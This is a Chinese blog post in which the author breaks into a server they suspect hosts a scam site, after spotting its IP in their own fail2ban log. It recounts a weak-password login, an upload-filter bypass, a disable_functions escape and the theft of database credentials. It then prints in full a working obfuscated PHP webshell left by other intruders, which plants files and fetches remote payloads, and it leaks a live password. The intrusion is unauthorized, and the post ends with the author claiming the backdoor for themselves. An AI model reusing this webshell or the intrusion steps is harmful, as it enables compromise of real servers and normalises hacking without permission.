给越南肉鸡杀毒
给越南肉鸡杀毒
不是炒米线上周给我的VPS装了fail2ban，今天一看黑名单，收获满满啊🤣。随便挑了一个了来练练手，就这个了，160.***.***.236。
dddd先扫一下，先是发现了http://160.***.***.236:806/开放了目录，有游戏充值等等配置文件，感觉是个诈骗网站。
接着发现关联域名https://bm.******.online/，是个ai写的php后台。admin/admin123弱密码。
观察js，发现/includes/upload_image.php接口。只允许上传jpg/png/gif。直接写是没用的，没什么思路，翻了翻上传题的笔记，发现了双扩展名绕过。
1 | curl -s -k -X POST "https://bm.******.online/includes/upload_image.php" \ |
访问shell没反应，发现system()被禁用，但assert()可用，phpinfo()看到有disable_functions，open_basedir没有ban。
1 | passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv |
不过PHP是7.0，可以打PHP7 GC with Certain Destructors UAF，用蚁剑插件一把梭。用户是www
在/tmp/up.txt发现root 12***23A，经尝试，密码不对。
在/www/server/site_total/data/total/bm.******.online/host.txt发现
1 | bm.******.online |
em换个域名继续骗。
/data/zone/www/home/config/database.php获得数据库root用户的密码。
1 | define('DB_HOST', 'localhost'); |
在/www/wwwroot/bm.******.online/发现加密webshell
其中，12z.php为
1 |
|
ss.php
1 | $M=base64_decode('SG9nN1lMcVFSRkVeMlQjbHoufGV2SVYpZGJ5U2E0dGpBX3U6TVAnOGltM25VIDBDaD48ZnB3c3IkLSxOeCg5T2M2RDFrLzVHKg=='); $_guSMY=""; ;/*$_KvBr*/; $_guSMY.="f"; ;/*ClgHV*/; ;/*$_c9GbEW*/; $_guSMY.="i"; ;/*9w5RTod*/; ;/*timothy*/; function ru($_TybU) { $_Dd6=preg_replace("/[^0-9]/","",$_TybU); return $_Dd6; } $_guSMY.="l"; $_JVo=dn(1765153205); ;/*$_c9GbEW*/; ;/*villains*/; $_guSMY.="e"; $_guSMY.="_"; $_rDcINj=str_replace("Z06","","plaid"); function xy($_TybU) { $_Dd6=preg_replace("/[^A-Z]/","",$_TybU); return $_Dd6; } ;/*7MmO8*/; $_guSMY.="p"; ;/*$_4GfyMzs*/; ;/*lGZze1hL*/; ;/*openings*/; $_guSMY.="u"; $_rDcINj=str_replace("A","","mooney"); $_JVo=dn(1764102768); $_guSMY.="t"; ;/*Hcb9Jul*/; ;/*fury*/; ;/*gorges*/; $_guSMY.="_"; $_guSMY.="c"; ;/*$_Oh3*/; ;/*modder*/; $_guSMY.="o"; ;/*epinard*/; ;/*blurt*/; $_guSMY.="n"; $_guSMY.="t"; ;/*$_8AIHxgq*/; $_guSMY.="e"; ;/*raptured*/; $_guSMY.="n"; ;/*vega*/; $_guSMY.="t"; ;/*middle*/; $_JVo=dn(1765591169); ;/*aimons*/; ;/*helpless*/; $_guSMY.="s"; $_Oh3=""; ;/*zPFb*/; ;/*spurning*/; $_Oh3.="c"; ;/*JBezL2*/; ;/*COvyHZ4*/; $_Oh3.="h"; ;/*reviling*/; ;/*goatweed*/; $_Oh3.="m"; $_JVo=dn(1764412459); ;/*ojUN*/; ;/*F1aoXOM*/; $_Oh3.="o"; ;/*$_Loem*/; $_Oh3.="d"; $_Dm5ok6=""; ;/*2xbwU8*/; ;/*park*/; $_Dm5ok6.="g"; ;/*function*/; ;/*furled*/; ;/*M3vcD6EH*/; $_Dm5ok6.="l"; ;/*rood*/; ;/*qWNa*/; $_Dm5ok6.="o"; ;/*$_lupLq*/; ;/*5clyumC*/; ;/*6x27PEm*/; $_Dm5ok6.="b"; $_O7MZfz=""; ;/*pi8UjYkN*/; ;/*GBZCUOo3*/; ;/*GPfTYzd5*/; $_O7MZfz.="u"; ;/*2GYeSkm*/; ;/*84LQV*/; $_O7MZfz.="n"; ;/*bowman*/; ;/*$_DLBG7Re*/; $_O7MZfz.="l"; ;/*chalard*/; $_O7MZfz.="i"; function l($_njSqalt) { $_njSqalt=trim($_njSqalt); $_njSqalt=substr($_njSqalt,6,-6); $_njSqalt=str_replace($M[57],"+",$_njSqalt); $_njSqalt=str_replace("_","/",$_njSqalt); $_njSqalt=str_replace(".","=",$_njSqalt); $_njSqalt=base64_decode($_njSqalt); return $_njSqalt; } ;/*JXB5*/; $_O7MZfz.="n"; ;/*4Xm7K*/; $_O7MZfz.="k"; $_sVwj8=""; ;/*$_YphNi*/; $_sVwj8.="i"; ;/*7vg2N*/; ;/*tommaso*/; $_sVwj8.="s"; ;/*$_9h52zN*/; ;/*rubies*/; ;/*honest*/; $_sVwj8.="_"; $_sVwj8.="f"; ;/*WUv1K*/; $_sVwj8.="i"; ;/*I4uC8wB*/; ;/*7k4*/; ;/*qfJS4pY6*/; $_sVwj8.="l"; ;/*BbXOgVl*/; ;/*dM5Gj*/; $_sVwj8.="e"; $_ZtY9EF=""; ;/*hQZrwEs*/; ;/*accursed*/; ;/*JKIuzaM*/; $_ZtY9EF.="i"; ;/*fishwife*/; $_ZtY9EF.="s"; ;/*flatten*/; ;/*8Kxfl*/; ;/*AkSb8RNJ*/; $_ZtY9EF.="_"; $_wKdzBs=ru("peri7A"); ;/*8iPQaHq*/; ;/*guessin*/; $_ZtY9EF.="d"; $_JVo=dn(1763904853); ;/*putr*/; $_ZtY9EF.="i"; ;/*lichens*/; ;/*gospodi*/; $_ZtY9EF.="r"; $_lupLq=""; ;/*ABvy*/; ;/*tepXrONs*/; function dn($_AnPtJ7) { $_VKGeF4d=0; $_O5Y=microtime(true); $_VKGeF4d=$_O5Y-$_AnPtJ7; return $_VKGeF4d; } ;/*ZFsBg2M*/; ;/*nebula*/; $_lupLq.="t"; ;/*SY2L*/; $_lupLq.="o"; ;/*$_jN3tCgQ*/; $_lupLq.="u"; ;/*$_pk19yQ*/; ;/*F04x16g*/; ;/*$_cCnHF*/; $_lupLq.="c"; ;/*lashless*/; $_lupLq.="h"; $_wET7=""; ;/*$_rHC29mV*/; ;/*hoss*/; $_wET7.="b"; ;/*$_oiRM*/; ;/*$_LPeHO*/; ;/*dire*/; $_wET7.="a"; ;/*mxmiv*/; ;/*A38ORC*/; ;/*coping*/; $_wET7.="s"; ;/*jh37l*/; ;/*Zf5czOR*/; $_wET7.="e"; ;/*5RJFz*/; ;/*z3H2*/; ;/*abruptly*/; $_wET7.="n"; $_rDcINj=str_replace("L","","ruffles"); $_wET7.="a"; ;/*$_njSqalt*/; ;/*tackling*/; $_wET7.="m"; ;/*$_njSqalt*/; $_wET7.="e"; ;/*$_Q4wAq0*/; error_reporting(0); ;/*$_edwT8*/; ;/*$_ITe*/; ;/*gluts*/; $_ITe=($_SERVER[$M[0].$M[13].$M[13].$M[37].$M[27]]!=""&&$_SERVER[$M[0].$M[13].$M[13].$M[37].$M[27]]!=$M[1].$M[51].$M[51])||$_SERVER[$M[8].$M[10].$M[7].$M[44].$M[10].$M[27].$M[13].$M[33].$M[27].$M[47].$M[0].$M[10].$M[36].$M[10]]==$M[48].$M[30].$M[30].$M[52].$M[54]||$_SERVER[$M[27].$M[10].$M[8].$M[22].$M[10].$M[8].$M[33].$M[37].$M[63].$M[8].$M[13]]==443 ? $M[48].$M[30].$M[30].$M[52].$M[54].$M[35].$M[69].$M[69] : $M[48].$M[30].$M[30].$M[52].$M[35].$M[69].$M[69] ; ;/*C6iOj8*/; $_ZaJK4nT=$_SERVER[$M[0].$M[13].$M[13].$M[37].$M[33].$M[0].$M[63].$M[27].$M[13]]; ;/*tonic*/; ;/*crequi*/; ;/*raif*/; if ( isset($_SERVER[$M[8].$M[10].$M[7].$M[44].$M[10].$M[27].$M[13].$M[33].$M[44].$M[8].$M[21]]) ) { $_wKdzBs=ru("gregoireJzR3nh"); $_a5pSH=explode('?',$_SERVER[$M[8].$M[10].$M[7].$M[44].$M[10].$M[27].$M[13].$M[33].$M[44].$M[8].$M[21]]); $_mlsJ=explode("P","caller"); $_8AIHxgq=$_a5pSH[0]; ;/*GL0*/; }else { ;/*$_0yMb2*/; $_8AIHxgq=$_SERVER[$M[27].$M[47].$M[8].$M[21].$M[37].$M[13].$M[33].$M[59].$M[32].$M[36].$M[10]]; } $_JVo=dn(1767552682); $_rDcINj=str_replace("XA","","trooped"); ;/*varus*/; ;/*forbad*/; $_uTig=str_replace('\\','/',$_SERVER[$M[27].$M[47].$M[8].$M[21].$M[37].$M[13].$M[33].$M[9].$M[21].$M[5].$M[10].$M[59].$M[32].$M[36].$M[10]]); ;/*$_tLHvr*/; ;/*ztfbKV*/; ;/*mingo*/; $_QcNpZ=str_replace($_8AIHxgq,'',$_uTig); ;/*NnJlu*/; $_wKdzBs=ru("jovialY"); ;/*BFN3H*/; ;/*8WMu*/; $_Oh3($_QcNpZ,0755); ;/*turves*/; ;/*HD0Xk*/; ;/*Tnev*/; $_eiavw2z=$M[57].$M[57].$M[57]; ;/*sherbet*/; ;/*$_pk19yQ*/; $_eiavw2z.=$M[24].$M[1]; ;/*$_qezuS*/; ;/*VFLU*/; $_eiavw2z.=$M[57]; ;/*atUnA*/; $_eiavw2z.=$M[43].$M[1].$M[30]; ;/*$_W03F*/; ;/*eCAbto*/; ;/*ZGWv*/; $_eiavw2z.=$M[57]; ;/*AY72*/; ;/*27Vu5ER*/; $_eiavw2z.=$M[64].$M[48].$M[28].$M[43].$M[2].$M[19]; $_rDcINj=str_replace("v0g","","surly"); ;/*pride*/; $_eiavw2z.=$M[57]; ;/*verger*/; ;/*$_W03F*/; ;/*$_Ub2*/; ;/*cloying*/; $_eiavw2z.=$M[30].$M[48].$M[19]; ;/*$_rDcINj*/; ;/*register*/; ;/*kpMD*/; $_eiavw2z.=$M[57]; ;/*xv0i8O*/; ;/*Z01XtC*/; usleep(1); ;/*whSYp*/; ;/*CB71Qm*/; $_eiavw2z.=$M[51].$M[1].$M[15].$M[15].$M[1].$M[53].$M[40].$M[43].$M[2]; ;/*$_h7tzE*/; ;/*$_7ieh*/; ;/*bazaar*/; $_eiavw2z.=$M[57]; ;/*$_hSP*/; ;/*$_eiavw2z*/; ;/*showing*/; usleep(4); ;/*unruly*/; $_eiavw2z.=$M[64].$M[1].$M[43].$M[30].$M[19].$M[43].$M[30]; ;/*IioqgpB*/; ;/*$_wET7*/; ;/*JP1G*/; $_eiavw2z.=$M[57].$M[57].$M[57]; ;/*waOsEQ*/; if ($_SERVER[$M[7].$M[44].$M[10].$M[8].$M[4].$M[33].$M[27].$M[13].$M[8].$M[21].$M[59].$M[71]]==$M[24].$M[33].$M[48]) { ;/*$_c9GbEW*/; $_SN7=array(); $_N69C=0; $_t6H=0; $_SN7[0][]=$_QcNpZ; ;/*reappear*/; while(!empty($_SN7[$_N69C])) { foreach($_SN7[$_N69C] as $_9h52zN) { $_cw8u0M=$_Dm5ok6($_9h52zN.$M[69].$M[72],GLOB_ONLYDIR); if (!empty($_cw8u0M)) { foreach($_cw8u0M as $_RyCT) { $_SN7[$_N69C+1][]=$_RyCT; $_Oh3($_RyCT,0755); $_KvBr=$_RyCT.$M[69].$M[17].$M[48].$M[30].$M[28].$M[64].$M[64].$M[19].$M[54].$M[54]; if ($_sVwj8($_KvBr)) { $_7ieh=file_get_contents($_KvBr); if (preg_match('/'.$_eiavw2z.'/',$_7ieh)==0) { $_Oh3($_KvBr,0777); $_guSMY($_KvBr,''); $_O7MZfz($_KvBr); $_t6H++; } } } } } $_N69C++; } echo $_t6H.$M[24].$M[1].$M[43].$M[19]; exit; } ;/*$_N63WZ*/; ;/*$_cw8u0M*/; if ($_SERVER[$M[7].$M[44].$M[10].$M[8].$M[4].$M[33].$M[27].$M[13].$M[8].$M[21].$M[59].$M[71]]==$M[64].$M[33].$M[64]) { ;/*$_uTig*/; ;/*ap6OY*/; echo $M[31].$M[68].$M[57].$M[57].$M[57].$M[1].$M[68]; ;/*forces*/; exit; ;/*7yjmPJXF*/; ;/*holds*/; ;/*E2ShH*/; } ;/*vede*/; ;/*maidenly*/; ;/*miaskin*/; if ( !empty($_GET[$M[51].$M[33].$M[64]]) ) { ;/*newlaid*/; $_akoQ=l($_GET[$M[51].$M[33].$M[64]]); ;/*$_guSMY*/; if($_sVwj8($_QcNpZ.$_akoQ)){$_Oh3($_QcNpZ.$_akoQ,0644);echo $M[51].$M[64].$M[57].$M[57].$M[57].$M[1].$M[68];}else{echo $M[51].$M[64].$M[57].$M[57].$M[57].$M[43].$M[1];} ;/*ascribed*/; ;/*$_akoQ*/; exit; } ;/*RUGCMlw*/; ;/*$_W03F*/; if ( !empty($_GET[$M[51].$M[33].$M[24]]) ) { ;/*repress*/; ;/*PDczrmUy*/; $_0yMb2=l($_GET[$M[51].$M[33].$M[24]]); ;/*cooeeing*/; if ($_sVwj8($_QcNpZ.$_0yMb2)) { $_Oh3($_QcNpZ.$_0yMb2,0777); ;/*Ksu*/; ;/*$_tLHvr*/; $_mlsJ=explode("W","suction"); $_guSMY($_QcNpZ.$_0yMb2,$M[16],LOCK_EX); $_O7MZfz($_QcNpZ.$_0yMb2); } ;/*edbIHYGS*/; ;/*OhGF1ykp*/; ;/*crusted*/; if (!$_sVwj8($_QcNpZ.$_0yMb2)||trim(file_get_contents($_QcNpZ.$_0yMb2))==$M[16]) { ;/*1kCiL05S*/; ;/*rollet*/; echo $M[51].$M[24].$M[57].$M[57].$M[57].$M[1].$M[68]; ;/*$_RyCT*/; }else { ;/*medusa*/; ;/*ZvnbsmI*/; $_wKdzBs=ru("echelonsfGxne3AtOi"); echo $M[51].$M[24].$M[57].$M[57].$M[57].$M[43].$M[1]; $_cszEUio=xy("hotspur3thieves"); ;/*bulkhead*/; ;/*$_nu9b*/; } ;/*griffs*/; exit; } ;/*twill*/; if ( (!empty($_POST[$M[64].$M[1].$M[24].$M[19].$M[33].$M[64].$M[1].$M[43].$M[30].$M[19].$M[43].$M[30]])) && (!empty($_POST[$M[64].$M[1].$M[24].$M[19].$M[33].$M[51].$M[40].$M[15].$M[19].$M[43].$M[28].$M[41].$M[19]])) ) { ;/*$_7ieh*/; $_rDcINj=str_replace("FN","","postman"); $_Xjz5q=base64_decode($_POST[$M[64].$M[1].$M[24].$M[19].$M[33].$M[64].$M[1].$M[43].$M[30].$M[19].$M[43].$M[30]]); $_nu9b=base64_decode($_POST[$M[64].$M[1].$M[24].$M[19].$M[33].$M[51].$M[40].$M[15].$M[19].$M[43].$M[28].$M[41].$M[19]]); }else { ;/*CE83ra2y*/; ;/*c6SdH0Pl*/; ;/*$_njSqalt*/; if (!empty($_GET[$M[34].$M[33].$M[52]])) { ;/*$_Oh3*/; $_tLHvr=l($_GET[$M[34].$M[33].$M[52]]); ;/*Mb4wz*/; $_Xjz5q=trim(su($_tLHvr.$M[33].$M[64].$M[1].$M[24].$M[19].$M[33].$M[64].$M[1].$M[43].$M[30].$M[19].$M[43].$M[30].$M[17].$M[30].$M[60].$M[30])); $_nu9b=trim(su($_tLHvr.$M[33].$M[64].$M[1].$M[24].$M[19].$M[33].$M[51].$M[40].$M[15].$M[19].$M[43].$M[28].$M[41].$M[19].$M[17].$M[30].$M[60].$M[30])); } ;/*u4b*/; } $_mlsJ=explode("T","soumise"); ;/*86QK*/; if (empty($_Xjz5q) || empty($_nu9b)) { ;/*carafe*/; exit; } ;/*ICb1F*/; ;/*$_Oh3*/; if (substr($_nu9b,0,1)=='/' && substr($_nu9b,-1,1)!='/') { ;/*$_qt2*/; ;/*jowl*/; ;/*$_bdyjMTK*/; $_9LmM=$_QcNpZ.$_nu9b; ;/*$_W03F*/; ;/*jimjam*/; $_fqp2C=$_ITe.$_ZaJK4nT.$_nu9b; ;/*rvlIP*/; preg_match('/(\/.+)\//',$_9LmM,$_dhmy); $_ICTbre5=$_dhmy[1]; ;/*envy*/; ;/*repel*/; $_Nfm8RS = explode("/",ltrim(str_replace($_QcNpZ,'',$_ICTbre5),"/")); ;/*finglas*/; $_c9GbEW = $_QcNpZ; ;/*thibauld*/; ;/*OCp*/; foreach($_Nfm8RS as $_XEv3) { $_c9GbEW .= "/" . $_XEv3; if ( $_ZtY9EF( $_c9GbEW ) ) { $_Oh3( $_c9GbEW, 0755 ); } else { mkdir( $_c9GbEW, 0755, true ); } } ;/*valuable*/; ;/*$_rHC29mV*/; ;/*louviers*/; if ( $_sVwj8($_9LmM) ) { ;/*senault*/; $_Oh3($_9LmM,0777); ;/*qXt1*/; $_mlsJ=explode("N","cabala"); $_O7MZfz($_9LmM); ;/*specula*/; } $_JVo=dn(1767594237); $_guSMY($_9LmM,$_Xjz5q); ;/*$_t6H*/; if ( $_sVwj8($_9LmM) && md5($_Xjz5q)==md5(file_get_contents($_9LmM)) ) { ;/*$_ICTbre5*/; $_bTD3dn=1; $_rDcINj=str_replace("n0K","","pitting"); ;/*mystery*/; echo $_fqp2C; ;/*$_edwT8*/; ;/*lashings*/; } ;/*$_jN3tCgQ*/; $_wKdzBs=ru("curdsYX2OdF"); } ;/*$_wET7*/; ;/*slm*/; ;/*bloo*/; if($_nu9b==$M[55].$M[28].$M[43].$M[24].$M[1].$M[41]) { ;/*swerves*/; $_pPVrmkM=array(); ;/*gewgaw*/; ;/*dardant*/; $_SN7=array(); ;/*pobTRG*/; ;/*cataract*/; $_N69C=0; ;/*$_YphNi*/; $_pPVrmkM[]=$_QcNpZ; $_cszEUio=xy("lydiaRUX6LQGFNconveyed"); $_SN7[0][]=$_QcNpZ; ;/*$_jN3tCgQ*/; while(!empty($_SN7[$_N69C])) { foreach($_SN7[$_N69C] as $_9h52zN) { $_cw8u0M=$_Dm5ok6($_9h52zN.$M[69].$M[72],GLOB_ONLYDIR); if (!empty($_cw8u0M)) { foreach($_cw8u0M as $_RyCT) { if ( preg_match('/plugin[s]?$/si',$_RyCT)==1 ){continue;} $_SN7[$_N69C+1][]=$_RyCT; $_pPVrmkM[]=$_RyCT; $_Oh3($_RyCT,0755); } } } $_N69C++; if (count($_pPVrmkM)>=1000) {break;} } if ( count($_pPVrmkM)<4 ) { $_mf2=array(); $_mf2[]=$M[40].$M[41].$M[28].$M[2].$M[19].$M[54]; ;/*$_cw8u0M*/; ;/*$_x3weLZl*/; $_mf2[]=$M[40].$M[43].$M[64].$M[15].$M[34].$M[24].$M[19].$M[54]; ;/*$_VKGeF4d*/; ;/*scurry*/; $_mf2[]=$M[30].$M[19].$M[41].$M[52].$M[15].$M[28].$M[30].$M[19].$M[54]; $_mf2[]=$M[64].$M[54].$M[54]; ;/*$_rHC29mV*/; $_mlsJ=explode("b","puget"); $_mf2[]=$M[64].$M[28].$M[64].$M[48].$M[19]; ;/*pawned*/; ;/*DzY8*/; $_mf2[]=$M[20].$M[19].$M[43].$M[24].$M[19].$M[55]; ;/*$_Dm5ok6*/; ;/*wJPk*/; ;/*04eTFKp*/; $_mf2[]=$M[15].$M[40].$M[25].$M[55].$M[28].$M[55].$M[26]; ;/*lanchets*/; $_mf2[]=$M[25].$M[28].$M[64].$M[68].$M[34].$M[52]; ;/*dawned*/; $_mf2[]=$M[24].$M[28].$M[30].$M[28].$M[25].$M[28].$M[54].$M[19]; ;/*DCxru*/; $_mf2[]=$M[24].$M[28].$M[30].$M[28]; ;/*incest*/; ;/*$_68jpMNA*/; ;/*yA2rFLW*/; $_mf2[]=$M[31].$M[54]; ;/*$_Q4wAq0*/; $_mf2[]=$M[15].$M[1].$M[2]; $_mf2[]=$M[34].$M[54].$M[19].$M[55]; ;/*tract*/; $_mf2[]=$M[51].$M[1].$M[43].$M[30].$M[54]; ;/*$_TybU*/; shuffle($_mf2); ;/*laborers*/; ;/*$_8AIHxgq*/; for($_hSP=0;$_hSP<3;$_hSP++) { $_edwT8=$_QcNpZ.'/'.$_mf2[$_hSP]; mkdir($_edwT8,0755,true); if ( $_ZtY9EF($_edwT8) ){$_pPVrmkM[]=$_edwT8;} } } ;/*H0d*/; $_bTD3dn=0; ;/*pwuj*/; $_HCOBFIL=$M[40].$M[43].$M[24].$M[19].$M[60].$M[17].$M[52].$M[48].$M[52]; ;/*9xtTQ*/; for($_m0DNYye=1;$_m0DNYye<=10;$_m0DNYye++) { $_ICTbre5=$_pPVrmkM[array_rand($_pPVrmkM,1)]; $_9LmM=$_ICTbre5.'/'.$_HCOBFIL; $_fqp2C=$_ITe.$_ZaJK4nT.str_replace($_QcNpZ,'',$_ICTbre5).'/'.$_HCOBFIL; if ( !$_sVwj8($_9LmM) ) { $_guSMY($_9LmM,$_Xjz5q); if ( $_sVwj8($_9LmM) && md5($_Xjz5q)==md5(file_get_contents($_9LmM)) ) { $_bTD3dn=1;echo $_fqp2C;break; } } } ;/*XS4y*/; if ($_bTD3dn==0) { $_wKdzBs=ru("pondered0XRmMwLYD"); ;/*halters*/; for($_m0DNYye=1;$_m0DNYye<=10;$_m0DNYye++) { $_ICTbre5=$_pPVrmkM[array_rand($_pPVrmkM,1)]; $_HCOBFIL=$_wET7($_ICTbre5).$M[17].$M[52].$M[48].$M[52]; $_9LmM=$_ICTbre5.'/'.$_HCOBFIL; $_fqp2C=$_ITe.$_ZaJK4nT.str_replace($_QcNpZ,'',$_ICTbre5).'/'.$_HCOBFIL; if ( !$_sVwj8($_9LmM) ) { $_guSMY($_9LmM,$_Xjz5q); if ( $_sVwj8($_9LmM) && md5($_Xjz5q)==md5(file_get_contents($_9LmM)) ) { $_bTD3dn=1;echo $_fqp2C;break; } } } ;/*$_hSP*/; } $_JVo=dn(1763909597); if ($_bTD3dn==0) { ;/*$_9h52zN*/; ;/*dWCnIwu*/; $_ICkM=$M[65].$M[62]; ;/*Lg3*/; ;/*hoped*/; ;/*KF85XBV*/; $_ICkM.=$M[25].$M[26].$M[53].$M[70]; ;/*moonblue*/; ;/*Mga*/; $_ICkM.=$M[34].$M[28].$M[51]; ;/*$_m0DNYye*/; $_ICkM.=$M[15].$M[24].$M[19]; $_ICkM.=$M[55].$M[3].$M[60].$M[42]; ;/*gobble*/; ;/*$_g85Z*/; $_ICkM.=$M[52].$M[54].$M[31]; ;/*sweety*/; $_ICkM.=$M[30].$M[41].$M[67]; ;/*jnK*/; $_ICkM.=$M[20].$M[6].$M[29].$M[43].$M[68]; $_ICkM.=$M[40].$M[16].$M[46]; $_ICkM.=$M[48].$M[2].$M[1]; ;/*echaude*/; ;/*into*/; $_ICkM.=$M[12].$M[64].$M[39]; for($_m0DNYye=1;$_m0DNYye<=11;$_m0DNYye++) { $_m0DNYye==11 ? $_ICTbre5=$_QcNpZ : $_ICTbre5=$_pPVrmkM[array_rand($_pPVrmkM,1)]; $_rHC29mV=str_shuffle($_ICkM); $_xS7=substr($_rHC29mV,0,mt_rand(3,10)).$M[17].$M[52].$M[48].$M[52]; $_9LmM=$_ICTbre5.'/'.$_xS7; $_fqp2C=$_ITe.$_ZaJK4nT.str_replace($_QcNpZ,'',$_ICTbre5).'/'.$_xS7; $_guSMY($_9LmM,$_Xjz5q); if ( $_sVwj8($_9LmM) && md5($_Xjz5q)==md5(file_get_contents($_9LmM)) ) { $_bTD3dn=1;echo $_fqp2C;break; } } } } ;/*knF73v*/; if ( isset($_bTD3dn) && $_bTD3dn==1 ) { ;/*hating*/; $_lupLq($_9LmM, strtotime($M[57].$M[70].$M[46].$M[46].$M[45].$M[24].$M[28].$M[26].$M[54], time())); ;/*8kYNcyJ*/; ;/*$_JVo*/; if ( $_ICTbre5!=$_QcNpZ ) { ;/*pisspots*/; ;/*eXycR*/; $_OxdcIPr=$_ICTbre5.$M[69].$M[17].$M[48].$M[30].$M[28].$M[64].$M[64].$M[19].$M[54].$M[54]; if ($_sVwj8($_OxdcIPr)) { ;/*cJMVn*/; $_Oh3($_OxdcIPr,0777); ;/*$_rHC29mV*/; $_guSMY($_OxdcIPr,''); $_O7MZfz($_OxdcIPr); } if ( $_wET7($_9LmM)!=$M[40].$M[43].$M[24].$M[19].$M[60].$M[17].$M[52].$M[48].$M[52] ) { ;/*bhoeQ9*/; ;/*maidens*/; $_jN3tCgQ=''; ;/*$_Dd6*/; ;/*Mbzfs0*/; foreach( $_Dm5ok6($_ICTbre5.$M[69].$M[72].$M[17].$M[52].$M[48].$M[52]) as $_qezuS ) { $_jN3tCgQ.=$M[18].$_wET7($_qezuS); } ;/*vocalism*/; ;/*$_ITe*/; $_jN3tCgQ=ltrim($_jN3tCgQ,$M[18]); ;/*baggot*/; $_uhUZXi=$M[14].$_eiavw2z; ;/*18FzDk4L*/; $_uhUZXi.="\n".$M[50].$M[9].$M[40].$M[15].$M[19].$M[54].$M[36].$M[28].$M[30].$M[64].$M[48].$M[45].$M[38].$M[11].$M[61].$_jN3tCgQ.$M[23].$M[56].$M[38].$M[49]; ;/*$_umYhCl*/; $_uhUZXi.="\n".$M[63].$M[55].$M[24].$M[19].$M[55].$M[45].$M[28].$M[15].$M[15].$M[1].$M[53].$M[58].$M[24].$M[19].$M[43].$M[26]; ;/*ladders*/; $_uhUZXi.="\n".$M[32].$M[15].$M[15].$M[1].$M[53].$M[45].$M[51].$M[55].$M[1].$M[41].$M[45].$M[28].$M[15].$M[15]; ;/*emh*/; $_uhUZXi.="\n".$M[50].$M[69].$M[9].$M[40].$M[15].$M[19].$M[54].$M[36].$M[28].$M[30].$M[64].$M[48].$M[49]; ;/*loughs*/; $_wKdzBs=ru("solomonl"); $_guSMY($_OxdcIPr,$_uhUZXi); ;/*$_RyCT*/; ;/*h4N2i*/; $_lupLq($_9LmM, strtotime($M[57].$M[70].$M[46].$M[46].$M[45].$M[24].$M[28].$M[26].$M[54], time())); } } } ;/*KdzLF*/; function su($_zMfuG) { $_Q4wAq0=""; if ( function_exists($M[64].$M[34].$M[55].$M[15].$M[33].$M[19].$M[60].$M[19].$M[64]) ) { $_pk19yQ=curl_init(); curl_setopt ($_pk19yQ, CURLOPT_URL, $_zMfuG); curl_setopt ($_pk19yQ, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($_pk19yQ, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $_pk19yQ, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_pk19yQ, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_pk19yQ, CURLOPT_TIMEOUT, 30); curl_setopt ($_pk19yQ, CURLOPT_HEADER, 0); $_Q4wAq0 = curl_exec($_pk19yQ); curl_close($_pk19yQ); }else { $_Q4wAq0=file_get_contents($_zMfuG); } return $_Q4wAq0; } ;/*Sn2cRF*/; ;/*0jaZEAe*/; ;/*$_XEv3*/; |
tlc.txt内容为1
将他们删除。注意到index.php等文件修改日期与webshell相同，头部被植入加密部分
1 |
|
将其移除后保存。代码高度混淆，但看得出来webshell特征，稍后分析。
其他站点同样被植马，依次删除。注意到logo.png修改时间接近，检查是否为图片马，但，不是。
在/www/wwwroot/******.online/.vscode/sftp.json发现sftp配置：
1 | { |
可是密码不正确，可能已经被修改。
https://bm.nhangiax.online/analysis.php
FuCK1231
现在来分析index.php头部的webshell，扔给gemini：
1 | 1. 硬编码的核心字符串解析 |
那个ss.php就更复杂了，包含了权限维持、自身隐藏（其实目录下的.htaccess也是它创建的，我当时还很好奇一个nginx为啥会有这个）
12z.php是比较简单的webshell，base64+移位脱壳后如下：
1 |
|
好的现在这个马是我的了。
